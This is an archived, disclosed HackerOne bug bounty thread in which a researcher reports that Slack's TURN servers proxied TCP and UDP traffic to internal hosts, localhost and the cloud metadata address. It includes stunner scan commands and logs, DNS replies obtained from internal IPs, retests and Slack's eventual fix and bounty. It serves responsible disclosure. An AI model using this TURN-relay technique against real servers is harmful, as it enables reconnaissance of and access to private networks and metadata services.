Slack disclosed on HackerOne: TURN server allows TCP and UDP...

Slack disclosed on HackerOne: TURN server allows TCP and UDP... - Author not stated, HackerOne.

- Published: date not stated
- Original: <https://hackerone.com/reports/333419>
- Preserved from: https://hackerone.com/reports/333419 (browser) on 2026-09-14
- Licence: unknown

Content

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323

#333419

TURN server allows TCP and UDP proxying to internal network, localhost and meta-data services

Report

Summary by sandrogauci

[[image: image]](https://hackerone.com/sandrogauci)

TURN server allowed proxying of TCP connections and UDP packets to internal Slack network and meta-data services on AWS.

Timeline

[[image: sandrogauci]](https://hackerone.com/sandrogauci)

sandrogauci

submitted a report to **Slack**.

April 4, 2018, 2:05pm UTC

The TURN servers used by Slack allow TCP connections and UDP packets to be proxied to the internal network. This gives an attacker the ability to scan and interact with internal systems.

The attacker may proxy TCP connections to the internal network by setting the `XOR-PEER-ADDRESS` of the TURN connect message (method `0x000A`, https://tools.ietf.org/html/rfc6062#section-4.3) to a private IPv4 address.

UDP packets may be proxied by setting the `XOR-PEER-ADDRESS` to a private IP in the TURN send message indication (method `0x0006`, https://tools.ietf.org/html/rfc5766#section-10).

Please check the attached report for additional details.

Impact

By abusing this feature an attacker will be able to read and potentially modify sensitive information in Slack's internal infrastructure. Typically, this security vulnerability has at least the same impact as an SSRF. However it is considered more useful from an attacker's point of view since attacks are not restricted to HTTP.

The hacker selected the **Server-Side Request Forgery (SSRF)** weakness. This vulnerability type requires contextual information from the hacker. They provided the following answers:

Can internal services be reached bypassing network access control? Yes

What internal services were accessible? Metadata, localhost, network services on the `10.0.0.0/8`

Security Impact By abusing this feature an attacker will be able to read and potentially modify sensitive information in Slack's internal infrastructure. Typically, this security vulnerability has at least the same impact as an SSRF. However it is considered more useful from an attacker's point of view since attacks are not restricted to HTTP.

Note: vulnerability is not SSRF but open TURN proxy - this was the closest I could choose.

3 attachments

-

F281909: turn_tcp_proxy_response.pcapng

-

F281910: report.md

-

F281911: turn_udp(53)_proxy_response.pcapng

Show older activities

[[image: Sandro Gauci]](https://hackerone.com/sandrogauci)

sandrogauci

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April 19, 2018, 12:19pm UTC

@fyunaz thanks for spinning that test environment.

I have summarised your comments as follows:

- dev instance should only block special IP addresses and not all traffic
- same solution was deployed on production too
- please confirm with video that you are able to proxy to our internal network using UDP, with UDP response

- were you able to get a response from TCP port via TURN UDP?
- we have a test dev instance for your testing `z-slack-calls-orca-research1.slack-core.com`

My responses for each of the above:

- that is not what my tests seem to indicate
- production now seems to block TCP but not UDP on special addresses - see the below tests
- Please find the output from our tests and attached pcaps which I hope can help; do let me know if this is not enough and I'll dedicate some time for a video showing the same exact thing
- No we were not able to get a response from TCP port through TURN UDP; the protocol itself does not allow that
- thanks for the test dev instance

When I run our reconnaissance tool on the live environment, I see the following results:

Code•5.91 KiB

```
stunner recon --username '1524160678:U3VE3T72Q' --password 'HrVL1a/ZswyyLH52nW6xql0/CTo=' --server udp://slac


stunner v0.1
Started on 2018-04-18T19:59:57+02:00

stunner/proto> udp connection to slack-calls-orca-bru-qxb0.slack-core.com:22466 successful
stunner/proto> tcp connection to slack-calls-orca-bru-qxb0.slack-core.com:22466 successful
stunner/banners> Software banner: None
stunner/banners> Realm: slack.com
stunner/allocate> udp allocate (invalid auth) successful
stunner/allocate> tcp allocate (invalid auth) successful
stunner/allocate> udp recon long term creds authentication successful
stunner/allocate> udp reflexive transport address 91.64.185.21:40097
stunner/allocate> tcp recon long term creds authentication failed
stunner/allocate> udp recon short term creds authentication failed
stunner/allocate> tcp recon short term creds authentication failed
stunner/binding> udp recon binding successful
stunner/binding> reflexive transport address 91.64.185.21:58566
stunner/binding> tcp recon binding successful
stunner/binding> reflexive transport address 91.64.185.21:37588
stunner/channelbind> udp recon ChannelBind 8.8.8.8:80 successful
stunner/channelbind> tcp recon ChannelBind 8.8.8.8:80 failed
stunner/channelbind> udp recon ChannelBind 169.254.169.254:80 successful
stunner/channelbind> tcp recon ChannelBind 169.254.169.254:80 failed
stunner/channelbind> udp recon ChannelBind 127.0.0.1:80 successful
stunner/channelbind> tcp recon ChannelBind 127.0.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 0.0.0.0:80 successful
stunner/channelbind> tcp recon ChannelBind 0.0.0.0:80 failed
stunner/channelbind> udp recon ChannelBind 10.0.0.1:80 successful
stunner/channelbind> tcp recon ChannelBind 10.0.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 100.64.0.0:80 successful
stunner/channelbind> tcp recon ChannelBind 100.64.0.0:80 failed
stunner/channelbind> udp recon ChannelBind 169.254.0.1:80 successful
stunner/channelbind> tcp recon ChannelBind 169.254.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 192.0.0.1:80 successful
stunner/channelbind> tcp recon ChannelBind 192.0.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 192.0.2.1:80 successful
stunner/channelbind> tcp recon ChannelBind 192.0.2.1:80 failed
stunner/channelbind> udp recon ChannelBind 192.88.99.1:80 successful
stunner/channelbind> tcp recon ChannelBind 192.88.99.1:80 failed
stunner/channelbind> udp recon ChannelBind 192.168.0.1:80 successful
stunner/channelbind> tcp recon ChannelBind 192.168.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 198.18.0.1:80 successful
```

```
stunner/channelbind> tcp recon ChannelBind 198.18.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 198.51.100.1:80 successful
stunner/channelbind> tcp recon ChannelBind 198.51.100.1:80 failed
stunner/channelbind> udp recon ChannelBind 203.0.113.1:80 successful
stunner/channelbind> tcp recon ChannelBind 203.0.113.1:80 failed
stunner/channelbind> udp recon ChannelBind 224.0.0.1:80 successful
stunner/channelbind> tcp recon ChannelBind 224.0.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 240.0.0.1:80 successful
stunner/channelbind> tcp recon ChannelBind 240.0.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 255.255.255.255:80 successful
stunner/channelbind> tcp recon ChannelBind 255.255.255.255:80 failed
stunner/createpermission> udp recon CreatePermission 8.8.8.8:80 successful
stunner/createpermission> tcp recon CreatePermission 8.8.8.8:80 failed
stunner/createpermission> udp recon CreatePermission 169.254.169.254:80 successful
stunner/createpermission> tcp recon CreatePermission 169.254.169.254:80 failed
stunner/createpermission> udp recon CreatePermission 127.0.0.1:80 successful
stunner/createpermission> tcp recon CreatePermission 127.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 0.0.0.0:80 successful
stunner/createpermission> tcp recon CreatePermission 0.0.0.0:80 failed
stunner/createpermission> udp recon CreatePermission 10.0.0.1:80 successful
stunner/createpermission> tcp recon CreatePermission 10.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 100.64.0.0:80 successful
stunner/createpermission> tcp recon CreatePermission 100.64.0.0:80 failed
stunner/createpermission> udp recon CreatePermission 169.254.0.1:80 successful
stunner/createpermission> tcp recon CreatePermission 169.254.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 192.0.0.1:80 successful
stunner/createpermission> tcp recon CreatePermission 192.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 192.0.2.1:80 successful
stunner/createpermission> tcp recon CreatePermission 192.0.2.1:80 failed
stunner/createpermission> udp recon CreatePermission 192.88.99.1:80 successful
stunner/createpermission> tcp recon CreatePermission 192.88.99.1:80 failed
stunner/createpermission> udp recon CreatePermission 192.168.0.1:80 successful
stunner/createpermission> tcp recon CreatePermission 192.168.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 198.18.0.1:80 successful
stunner/createpermission> tcp recon CreatePermission 198.18.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 198.51.100.1:80 successful
stunner/createpermission> tcp recon CreatePermission 198.51.100.1:80 failed
stunner/createpermission> udp recon CreatePermission 203.0.113.1:80 successful
stunner/createpermission> tcp recon CreatePermission 203.0.113.1:80 failed
stunner/createpermission> udp recon CreatePermission 224.0.0.1:80 successful
stunner/createpermission> tcp recon CreatePermission 224.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 240.0.0.1:80 successful
stunner/createpermission> tcp recon CreatePermission 240.0.0.1:80 failed
```

```
stunner/createpermission> udp recon CreatePermission 255.255.255.255:80 successful
stunner/createpermission> tcp recon CreatePermission 255.255.255.255:80 failed
```

This means that the TURN `CreatePermission` command is allowed on UDP for all the special addresses. TCP has been disabled since our initial report and therefore we get failure for all instances. To prove that this is still indeed a potential security problem, we ran a port 53 DNS scan as follows:

Code•1.03 KiB

```
stunner turn peer scan  --username '1524195624:U3VE3T72Q' --password 'R0vf5RdFuqHO/isgt/uA7oLcNdw=' --server u



stunner v0.1
Started on 2018-04-19T10:40:32+02:00

stunner> Scanning 127.0.0.1/32 for 53

Result from 127.0.0.1:53
([]uint8) (len=128 cap=1000) {
 00000000  40 b3 81 80 00 01 00 06  00 00 00 00 03 77 77 77  |@.............www|
 00000010  06 67 6f 6f 67 6c 65 03  63 6f 6d 00 00 01 00 01  |.google.com.....|
 00000020  c0 0c 00 01 00 01 00 00  00 7f 00 04 4a 7d ce 93  |............J}..|
 00000030  c0 0c 00 01 00 01 00 00  00 7f 00 04 4a 7d ce 63  |............J}.c|
 00000040  c0 0c 00 01 00 01 00 00  00 7f 00 04 4a 7d ce 67  |............J}.g|
 00000050  c0 0c 00 01 00 01 00 00  00 7f 00 04 4a 7d ce 6a  |............J}.j|
 00000060  c0 0c 00 01 00 01 00 00  00 7f 00 04 4a 7d ce 69  |............J}.i|
 00000070  c0 0c 00 01 00 01 00 00  00 7f 00 04 4a 7d ce 68  |............J}.h|
}

stunner [info]> 1 payloads sent
1 seconds remaining until shutdown %
```

Code•1.01 KiB

```
stunner turn peer scan  --username '1524195624:U3VE3T72Q' --password 'R0vf5RdFuqHO/isgt/uA7oLcNdw=' --server u



stunner v0.1
Started on 2018-04-19T10:58:15+02:00

stunner> Scanning 10.33.0.96 for 53

stunner [info]> 1 payloads sent
Result from 10.33.0.96:53
([]uint8) (len=128 cap=1000) {
 00000000  40 b3 81 80 00 01 00 06  00 00 00 00 03 77 77 77  |@.............www|
 00000010  06 67 6f 6f 67 6c 65 03  63 6f 6d 00 00 01 00 01  |.google.com.....|
 00000020  c0 0c 00 01 00 01 00 00  00 12 00 04 4a 7d ce 68  |............J}.h|
 00000030  c0 0c 00 01 00 01 00 00  00 12 00 04 4a 7d ce 69  |............J}.i|
 00000040  c0 0c 00 01 00 01 00 00  00 12 00 04 4a 7d ce 93  |............J}..|
 00000050  c0 0c 00 01 00 01 00 00  00 12 00 04 4a 7d ce 67  |............J}.g|
 00000060  c0 0c 00 01 00 01 00 00  00 12 00 04 4a 7d ce 6a  |............J}.j|
 00000070  c0 0c 00 01 00 01 00 00  00 12 00 04 4a 7d ce 63  |............J}.c|
}
```

The reconnaissance tool was also run on your dev environment and it gave the below output indicating that all traffic is being blocked, including traffic meant to go to an internet IP address such as Google's `8.8.8.8`. Log below:

Code•5.73 KiB

```
stunner recon --username '1524195624:U3VE3T72Q' --password 'R0vf5RdFuqHO/isgt/uA7oLcNdw=' --server udp://z-sla

stunner v0.1
Started on 2018-04-19T10:37:18+02:00

stunner/proto> udp connection to z-slack-calls-orca-research1.slack-core.com:22466 successful
stunner/proto> tcp connection to z-slack-calls-orca-research1.slack-core.com:22466 successful
stunner/banners> Software banner: None
stunner/banners> Realm: slack.com
stunner/allocate> udp allocate (invalid auth) successful
stunner/allocate> tcp allocate (invalid auth) successful
stunner/allocate> udp recon long term creds authentication successful
stunner/allocate> udp reflexive transport address 91.64.185.21:38635
stunner/allocate> tcp recon long term creds authentication failed
stunner/allocate> udp recon short term creds authentication failed
stunner/allocate> tcp recon short term creds authentication failed
stunner/binding> udp recon binding successful
stunner/binding> reflexive transport address 91.64.185.21:51750
stunner/binding> tcp recon binding successful
stunner/binding> reflexive transport address 91.64.185.21:32972
stunner/channelbind> udp recon ChannelBind 8.8.8.8:80 failed
stunner/channelbind> tcp recon ChannelBind 8.8.8.8:80 failed
stunner/channelbind> udp recon ChannelBind 169.254.169.254:80 failed
stunner/channelbind> tcp recon ChannelBind 169.254.169.254:80 failed
stunner/channelbind> udp recon ChannelBind 127.0.0.1:80 failed
stunner/channelbind> tcp recon ChannelBind 127.0.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 0.0.0.0:80 failed
stunner/channelbind> tcp recon ChannelBind 0.0.0.0:80 failed
stunner/channelbind> udp recon ChannelBind 10.0.0.1:80 failed
stunner/channelbind> tcp recon ChannelBind 10.0.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 100.64.0.0:80 failed
stunner/channelbind> tcp recon ChannelBind 100.64.0.0:80 failed
stunner/channelbind> udp recon ChannelBind 169.254.0.1:80 failed
stunner/channelbind> tcp recon ChannelBind 169.254.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 192.0.0.1:80 failed
stunner/channelbind> tcp recon ChannelBind 192.0.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 192.0.2.1:80 failed
stunner/channelbind> tcp recon ChannelBind 192.0.2.1:80 failed
stunner/channelbind> udp recon ChannelBind 192.88.99.1:80 failed
stunner/channelbind> tcp recon ChannelBind 192.88.99.1:80 failed
stunner/channelbind> udp recon ChannelBind 192.168.0.1:80 failed
stunner/channelbind> tcp recon ChannelBind 192.168.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 198.18.0.1:80 failed
stunner/channelbind> tcp recon ChannelBind 198.18.0.1:80 failed
```

```
stunner/channelbind> udp recon ChannelBind 198.51.100.1:80 failed
stunner/channelbind> tcp recon ChannelBind 198.51.100.1:80 failed
stunner/channelbind> udp recon ChannelBind 203.0.113.1:80 failed
stunner/channelbind> tcp recon ChannelBind 203.0.113.1:80 failed
stunner/channelbind> udp recon ChannelBind 224.0.0.1:80 failed
stunner/channelbind> tcp recon ChannelBind 224.0.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 240.0.0.1:80 failed
stunner/channelbind> udp recon ChannelBind 255.255.255.255:80 failed
stunner/channelbind> tcp recon ChannelBind 255.255.255.255:80 failed
stunner/createpermission> udp recon CreatePermission 8.8.8.8:80 failed
stunner/createpermission> tcp recon CreatePermission 8.8.8.8:80 failed
stunner/createpermission> udp recon CreatePermission 169.254.169.254:80 failed
stunner/createpermission> tcp recon CreatePermission 169.254.169.254:80 failed
stunner/createpermission> udp recon CreatePermission 127.0.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 127.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 0.0.0.0:80 failed
stunner/createpermission> tcp recon CreatePermission 0.0.0.0:80 failed
stunner/createpermission> udp recon CreatePermission 10.0.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 10.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 100.64.0.0:80 failed
stunner/createpermission> tcp recon CreatePermission 100.64.0.0:80 failed
stunner/createpermission> udp recon CreatePermission 169.254.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 169.254.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 192.0.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 192.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 192.0.2.1:80 failed
stunner/createpermission> tcp recon CreatePermission 192.0.2.1:80 failed
stunner/createpermission> udp recon CreatePermission 192.88.99.1:80 failed
stunner/createpermission> tcp recon CreatePermission 192.88.99.1:80 failed
stunner/createpermission> udp recon CreatePermission 192.168.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 192.168.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 198.18.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 198.18.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 198.51.100.1:80 failed
stunner/createpermission> tcp recon CreatePermission 198.51.100.1:80 failed
stunner/createpermission> udp recon CreatePermission 203.0.113.1:80 failed
stunner/createpermission> tcp recon CreatePermission 203.0.113.1:80 failed
stunner/createpermission> udp recon CreatePermission 224.0.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 224.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 240.0.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 240.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 255.255.255.255:80 failed
```

```
stunner/createpermission> tcp recon CreatePermission 255.255.255.255:80 failed
1 seconds remaining until shutdown %
```

Attached you will find two pcaps. One showing the DNS responses received from `127.0.0.1` and `10.33.0.96` on the live environment. Note that further research could indicate sensitive or vulnerable services on UDP so this is why I think its not just TCP that should be blocked for internal or special IP addresses.

The second pcap shows a similar test but done on the dev system that acutally blocks all traffic, including seemingly legitimate traffic to `8.8.8.8`. This, I'm afraid, would lead to problems for calls behind NAT that require TURN.

So to summarize:

- Live system is not vulnerable anymore for TCP; but UDP remains open
- Dev system is not vulnerable for either TCP or UDP; but also appears to block legitimate traffic

2 attachments

-

F288620: test-fix-port53-8.8.8.8-response.pcapng

-

F288621: live-fix-port53-127.0.0.1-10.33.0.96-response.pcapng

[[image: fyunaz]](https://hackerone.com/fyunaz)

fyunaz

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April 19, 2018, 6:50pm UTC

@sandrogauci Thanks for your detail response, we are looking into this.

[[image: fyunaz]](https://hackerone.com/fyunaz)

fyunaz

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April 19, 2018, 11:30pm UTC

@sandrogauci We added a patch to the `z-slack-calls-orca-research1.slack-core.com` to make it work for a legitimate traffic. Can you please re-run the test to that host again and confirm that the vulnerability fixed and we are not blocking any legitimate traffic?

Thanks!

[[image: Sandro Gauci]](https://hackerone.com/sandrogauci)

sandrogauci

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April 20, 2018, 2:55am UTC

Hi @fyunaz glad that it helped. I have rerun the tool on the new patch and yes it does reflect the recommended change, i.e. it looks like a correct fix.

lines of interest from my test log:

Code•2.97 KiB

stunner/proto> udp connection to z-slack-calls-orca-research1.slack-core.com:22466 successful
stunner/proto> tcp connection to z-slack-calls-orca-research1.slack-core.com:22466 successful
stunner/banners> Software banner: None
stunner/banners> Realm: slack.com
stunner/allocate> udp allocate (invalid auth) successful
stunner/allocate> tcp allocate (invalid auth) successful
stunner/allocate> udp recon long term creds authentication successful
stunner/allocate> udp reflexive transport address 91.64.185.21:38458
...
stunner/createpermission> udp recon CreatePermission 8.8.8.8:80 successful
stunner/createpermission> tcp recon CreatePermission 8.8.8.8:80 failed
stunner/createpermission> udp recon CreatePermission 169.254.169.254:80 failed
stunner/createpermission> tcp recon CreatePermission 169.254.169.254:80 failed
stunner/createpermission> udp recon CreatePermission 127.0.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 127.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 0.0.0.0:80 failed
stunner/createpermission> tcp recon CreatePermission 0.0.0.0:80 failed
stunner/createpermission> udp recon CreatePermission 10.0.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 10.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 100.64.0.0:80 failed
stunner/createpermission> tcp recon CreatePermission 100.64.0.0:80 failed
stunner/createpermission> udp recon CreatePermission 169.254.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 169.254.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 192.0.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 192.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 192.0.2.1:80 failed
stunner/createpermission> tcp recon CreatePermission 192.0.2.1:80 failed
stunner/createpermission> udp recon CreatePermission 192.88.99.1:80 failed
stunner/createpermission> tcp recon CreatePermission 192.88.99.1:80 failed
stunner/createpermission> udp recon CreatePermission 192.168.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 192.168.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 198.18.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 198.18.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 198.51.100.1:80 failed
stunner/createpermission> tcp recon CreatePermission 198.51.100.1:80 failed
stunner/createpermission> udp recon CreatePermission 203.0.113.1:80 failed
stunner/createpermission> tcp recon CreatePermission 203.0.113.1:80 failed
stunner/createpermission> udp recon CreatePermission 224.0.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 224.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 240.0.0.1:80 failed
stunner/createpermission> tcp recon CreatePermission 240.0.0.1:80 failed
stunner/createpermission> udp recon CreatePermission 255.255.255.255:80 failed
stunner/createpermission> tcp recon CreatePermission 255.255.255.255:80 failed

[[image: fyunaz]](https://hackerone.com/fyunaz)

fyunaz

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April 20, 2018, 3:34am UTC

@sandrogauci Awesome! Thanks for confirming the patch works. We will continue working on this. I will keep you updated when we have additional information.

[[image: Sandro Gauci]](https://hackerone.com/sandrogauci)

sandrogauci

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April 20, 2018, 6:40am UTC

Excellent - yes do keep me up to date

[[image: Sandro Gauci]](https://hackerone.com/sandrogauci)

sandrogauci

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April 30, 2018, 6:36pm UTC

Hi @fyunaz - following up on the status of this one. Do you require anything else from our side?

[[image: fyunaz]](https://hackerone.com/fyunaz)

fyunaz

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April 30, 2018, 10:58pm UTC

Hi @sandrogauci, No, there's nothing that we need from your end at this point. Our team is still working on the additional fix. We will let you know when we have additional information.

Thanks!

[[image: fyunaz]](https://hackerone.com/fyunaz)

fyunaz

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May 11, 2018, 8:03pm UTC

Hi @sandrogauci,

Thanks for your patience. We have pushed the patch to all of our production severs. We added more strict rules and also verified that all of our Calls functionality works with the current settings. It might seems like we are blocking legitimate traffic but it's not. We are only allowing necessary traffic. Can you please re-test all of your test cases one more time to our prod server especially the UDP over TURN to access the DNS server?

Thanks!

[[image: Sandro Gauci]](https://hackerone.com/sandrogauci)

sandrogauci

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May 14, 2018, 7:38am UTC

Will test as soon as we can and get back to you.

[[image: fyunaz]](https://hackerone.com/fyunaz)

fyunaz

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May 16, 2018, 4:53pm UTC

@sandrogauci, kindly following up on the status. Did you confirm the fix? I think we can close this issue but would be great if can get your testing done before closing this.

[[image: Sandro Gauci]](https://hackerone.com/sandrogauci)

sandrogauci

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May 16, 2018, 5:31pm UTC

@fyunaz thanks for the follow up. I've been at a conference these last days and swamped with work. I think however I'll have time to verify the fixes sometime tomorrow. Do we test on live?

[[image: fyunaz]](https://hackerone.com/fyunaz)

fyunaz

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May 16, 2018, 5:44pm UTC

@sandrogauci Tomorrow sounds good. And yes, please do the testing on prod (live) system. Let me know if you need more information.

Thanks!

[[image: Sandro Gauci]](https://hackerone.com/sandrogauci)

sandrogauci

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May 19, 2018, 7:47pm UTC

Hi @fyunaz - we have tested the fix and realised that the fix blocks everything but UDP packets towards the WebRTC gateway. We didn't find ways to exploit this configuration to get any responses and are happy to close this issue. Thanks for awaiting our confirmation. Hope that our feedback and various retests were valuable to you and your colleagues.

[[image: Sandro Gauci]](https://hackerone.com/sandrogauci)

sandrogauci

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May 21, 2018, 7:12am UTC

Just in case it was not clear from my response; I confirm that the fix appears to do the job.

[[image: fyunaz]](https://hackerone.com/fyunaz)

fyunaz

closed the report and changed the status to ****Resolved**.

May 21, 2018, 4:18pm UTC

Thank you for the confirmation and for your patience! We will resolve and reward shortly!

[[image: image]](https://hackerone.com/slack)

Slack

rewarded sandrogauci with a **$3,500** bounty.

May 21, 2018, 9:52pm UTC

Thank you for your report!

The Slack Security Team

[[image: Sandro Gauci]](https://hackerone.com/sandrogauci)

sandrogauci

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January 21, 2020, 11:20am UTC

Hi @fyunaz can you make this report public please?

sandrogauci

requested to disclose this report.

January 31, 2020, 4am UTC

[[image: Bug Triage]](https://hackerone.com/bugtriage-josh)

bugtriage-josh

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February 25, 2020, 8:09pm UTC

Hey @sandrogauci,

We're going to temporarily cancel your disclosure request, as we are performing a review of high severity and above disclosures, and want give your report appropriate consideration before it becomes public. As soon as we complete our review, we will contact you about disclosure.

We apologize for the delay.

[[image: Bug Triage]](https://hackerone.com/bugtriage-josh)

bugtriage-josh

cancelled the request to disclose this report.

February 25, 2020, 8:09pm UTC

As noted above

[[image: Sandro Gauci]](https://hackerone.com/sandrogauci)

sandrogauci

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February 28, 2020, 2:45am UTC

Hi @bugtriage-josh - that comes unexpectedly as we were under the impression that you successfully resolved this issue 2 years ago. We have an educational presentation to give at Kamailio World and were hoping to use this report as an example of our contribution to the WebRTC security space. We're not interested in making Slack look bad of course; only to have practical and real examples to the VoIP/WebRTC developers in the audience.

Could you let me know when your review is planned to be complete so that we can prepare accordingly?

sandrogauci

requested to disclose this report.

March 4, 2020, 3:29pm UTC

[[image: Bug Triage]](https://hackerone.com/bugtriage-josh)

bugtriage-josh

agreed to disclose this report.

March 12, 2020, 12:15am UTC

Hey @sandrogauci

We should be good to go with disclosure now. Sorry about the delay and thank you for your patience.

This report has been disclosed.

March 12, 2020, 12:15am UTC

Recovery notes

Source evidence recovered on 2026-09-14. The earlier source capture (SHA-256 `42b45c2c6ca8ab1abad58b4d9bad9480d8c2eaf302724788f926e5fadfee8587`) is no longer available. This publication uses a separately preserved capture of the same document recorded on 2026-09-14 (SHA-256 `3c7247f33f3f7f0a82f3a7052723c122fc4d5d664b5d753655ba5d320adbf429`). All exposed report prose and discussion were checked against this fresh capture. Five code examples retain their exact characters and line breaks in fenced blocks. The source still offers older activities that are absent from this capture; that incomplete discussion remains recorded as a recovery gap. The missing earlier capture remains documented in the archive history.